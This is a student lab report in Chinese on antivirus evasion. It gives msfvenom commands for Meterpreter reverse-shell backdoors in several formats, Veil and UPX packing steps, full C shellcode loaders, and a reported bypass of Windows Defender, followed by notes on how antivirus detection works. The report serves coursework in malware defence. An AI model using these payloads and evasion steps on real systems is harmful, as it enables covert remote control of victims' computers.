网络对抗实验3--免杀原理
课程:网络对抗技术
班级:1912 姓名:陈发强 学号:20191206
实验名称:免杀原理 实验日期:2022.4.8
实验目的
-
理解杀毒软件工作原理
-
掌握基础的病毒免杀技术
-
学习恶意软件防范措施
实验内容
-
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
-
学习 veil,加壳工具
-
使用C + shellcode编程
-
通过组合应用各种技术实现恶意代码免杀(1分)
-
附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验过程
(一)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
先生成一个原汁原味的后门,用virustotal检测一下
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -f exe > 20191206backdoor.exe
尝试使用encoder编码绕过AV,再用virustotal检测一下
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -e x86/shikata_ga_nai -b '\x00\x0a' -f exe > 20191206backdoor.exe
只有绕过了一个AV
尝试多编码几次试试,再用virustotal检测一下
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -e x86/shikata_ga_nai -i 15 -b '\x00\x0a' -f exe > 20191206backdoor.exe
检测出病毒的AV数量不变,应该都对encoder编码器本身做了检测。
EXE文件也就这种程度了,换个jar文件试试
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -f jar > 20191206backdoor.jar
再换个PHP的试试
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -f raw > 20191206backdoor.php
再换个python文件试试
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -f raw > 20191206backdoor.py
查杀率大幅下降
由于 meterpreter/reverse_tcp 过于经典,换一个 python 的 payload 再试试
msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=192.168.144.151 LPORT=1206 -f raw > 20191206backdoor.py
查杀率再次大幅下降
(二)使用veil 和 加壳工具免杀
veil
veil
use Evasion //使用绕过模块
list //看看有哪些payload
use c/meterpreter/rev_tcp.py //一共41个payload,用一个经典的 C 语言的meterpreter/reverse_tcp
options //看看有哪些选项要设置一下
set LHOST 192.168.144.151
set LPORT 1206
generate //生成
再用virustotal检测一下
再生成一个go语言的
use go/meterpreter/rev_tcp.py
set
generate
再用virustotal检测一下
没想到检出率这么高
加壳
再用virustotal检测一下
(三)使用C + shellcode编程
生成C代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -f c
在windows上 Dev-C++ 编写测试代码,并生成exe
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x8b\x48\x18\x50"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x90\x97\x68\x02"
"\x00\x04\xb6\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main(){
int (*func)() = (int(*)())buf;
func();
}
一运行就会被强行终止
再用virustotal检测一下
换一个 https://www.exploit-db.com/ 的 2021 年的 shellcode
改一下shellcode里面的ip,为192.168.144.151
#include <windows.h>
#include <iostream>
#include <stdlib.h>
char code[] =
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x96\xad\x8b"
"\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31"
"\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f"
"\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde"
"\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xc9\x53"
"\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54"
"\x53\x89\xde\xff\xd2\x83\xc4\x0c\x5a\x50\x52\x66\xba\x6c\x6c\x52\x68\x33"
"\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x04"
"\x68\x75\x70\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x74\x61\x72\x74\x68"
"\x57\x53\x41\x53\x54\x50\x89\xc7\xff\xd2\x31\xdb\x66\xbb\x90\x01\x29\xdc"
"\x54\x53\xff\xd0\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x64\x8b\x14\x1c"
"\x68\x74\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x6b\x65\x68"
"\x57\x53\x41\x53\x54\x89\xf8\x50\xff\xd2\x57\x31\xc9\x52\x52\x52\xb2\x06"
"\x52\x41\x51\x41\x51\xff\xd0\x91\x5f\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b"
"\xdb\x63\x8b\x14\x1c\x68\x65\x63\x74\x61\x66\x83\x6c\x24\x03\x61\x68\x63"
"\x6f\x6e\x6e\x54\x57\x87\xcd\xff\xd2\x68\xc0\xa8\x90\x97\x66\x68\x11\x5c"
"\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x55\x87\xef\xff\xd0\x83"
"\xc4\x14\x31\xdb\x80\xc3\x04\x6b\xdb\x62\x8b\x14\x1c\x68\x73\x41\x61\x61"
"\x81\x6c\x24\x02\x61\x61\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72"
"\x68\x43\x72\x65\x61\x54\x89\xf5\x55\xff\xd2\x50\x8d\x28\x68\x63\x6d\x64"
"\x61\x66\x83\x6c\x24\x03\x61\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57"
"\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52"
"\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50"
"\x52\x52\x51\x52\xff\xd5";
int main(int argc, char** argv)
{
//HWND hWnd = GetConsoleWindow();
//ShowWindow(hWnd, SW_HIDE);
printf("Shellcode Length: %d\n", strlen(code));
void* exec = VirtualAlloc(0, strlen(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, code, sizeof(code));
((void(*)())exec)();
return 0;
}
还是不能成功运行
通过组合应用各种技术实现恶意代码免杀
veil + msfvenom 生成后门,upx 加壳
use go/shellcode_inject/virtual.py
generate
2 //用 MSF 的payload
set LHOST 192.168.144.151
set LPORT 1206
upx 加壳
upx 20191206_go_winrevtcp.exe -o 20191206_go_winrevtcp_upx.exe
再用virustotal检测一下
可以看到检测率还是挺高的。
附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
Win10 Microsoft Defender + 联想电脑管家
首先,python 环境下,msf的一个 python payload 是可以绕过多数杀毒软件,直接回连成功的
msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=192.168.144.151 LPORT=1206 -f raw > 20191206backdoor.py
win10 运行 python 文件,kali msfconsole 监听,获得 win10 shell
杀软没有任何反应,virustotal 也只有 3 个 AV 检测出来
有一定局限性,需要有 python 环境,并用 python 运行后门文件。
接着用 pyinstaller 或 py2exe 把 python 文件 打包成 exe 文件
msfconsole 监听,运行 20191206backdoor.exe
获得 shell
virus total 也只有 4 个检测出来
实验体会
其实微软自带的杀毒软件还是挺厉害的,一般的病毒都能检测出来,而且和windows的契合度高(微软当然有windows的源代码)。在virustotal上 Microsoft Defender表现的也还不错。
但是如果病毒变得更厉害的话,Microsoft Defender 就不太行了。虽然说目前基本没有黑客愿意花时间、精力和金钱攻击个人电脑,但不怕一万就拍万一,所以我决定下载一个卡巴斯基用一用,以缓解一下担忧和焦虑。
病毒的制作技术,和杀软的技术 肯定是相互促进的。不会制作病毒,也就做不出好的杀毒软件。所说基于行为的检测机制,能防范一些未知的病毒,但现在一定存在着能够绕过行为检测的病毒。
本次实验,我更加深刻地理解了杀毒软件的工作原理,和病毒免杀的基本方法,受益匪浅。
基础问题回答
杀软是如何检测出恶意代码的
- 基于特征码的静态扫描技术。
即在文件中寻找特定的十六进制字符串,如果找到,就可判定文件感染了某种病毒。但这种方法在当今病毒技术迅猛发展的形势下已经起不到很好的作用了。
- 启发式杀毒技术
病毒要达到感染和破坏的目的,通常的行为都会有一定的行为和特征,例如非常规读写文件,终结自身进程,非常规切入Ring0等等。
所以可以通过分析相关的病毒指令,判断其出现的次序,或组合、排列情况等病毒的标准特征来决定文件是否感染病毒,甚至是否有“未知”病毒迹象。
启发式扫描就像是警察,看你带着头套,怀疑你是罪犯,再看你身上携带了枪支就更加怀疑你是罪犯,先逮捕了再说。
- 行为查杀技术
根据病毒的行为特征来识别病毒,这需要对病毒行为进行详细的分类和研究,分析那些病毒共同的行为,以及正常程序的罕见行为,根据程序运行时的行为进行病毒判断和预警。
将行为过程转化为杀毒软件自身可识别的行为标识符,然后与病毒库中所存贮的行为信息进行对应,并作出相应处理。
- 虚拟机技术,已经成为反病毒软件中最重要的组成部分之一。
查毒引擎的虚拟机是一个软件模拟的CPU,它可以像真正CPU一样取值,译码,执行,可以模拟一段代码在真正CPU上运行得到的结果。
设计虚拟机查毒的目的,就是为了对付加密变形病毒,虚拟机首先从文件中确定并读取病毒入口处代码,然后以上述工作步骤解释执行病毒头部的解密段(Decryptor),最后在执行完的结果(解密后的病毒体明文)中查找病毒的特征码。
- 脱壳技术
脱壳技术是一种十分常用的技术,可以对压缩文件、加壳文件、加花文件、封装类文件进行分析的技术。
免杀是做什么
绕过杀毒软件的查杀,把自己伪装成正常的合法的程序。
免杀的基本方法有哪些
- 改变特征码
如果你手里只有EXE,可以尝试加壳技术:压缩壳技术和加密壳技术。
如果你有shellcode(像Meterpreter),可以尝试用encode进行编码或基于payload重新编译生成可执行文件。
如果你有源代码,可以尝试用其他语言进行重写再编译(veil-evasion)
- 改变行为
在通讯方式上,尽量使用反弹式连接、使用隧道技术、加密通讯数据。
在操作模式上,尽量基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
-
修改内存特征码
-
等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
-
通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行
-
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
4.开启杀软能绝对防止电脑中恶意代码吗
不能。首先,我们用的杀毒软件不一定是最先进的杀毒软件。其次,即使是最先进的杀毒软件,也不一定能防范所有未知的病毒。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?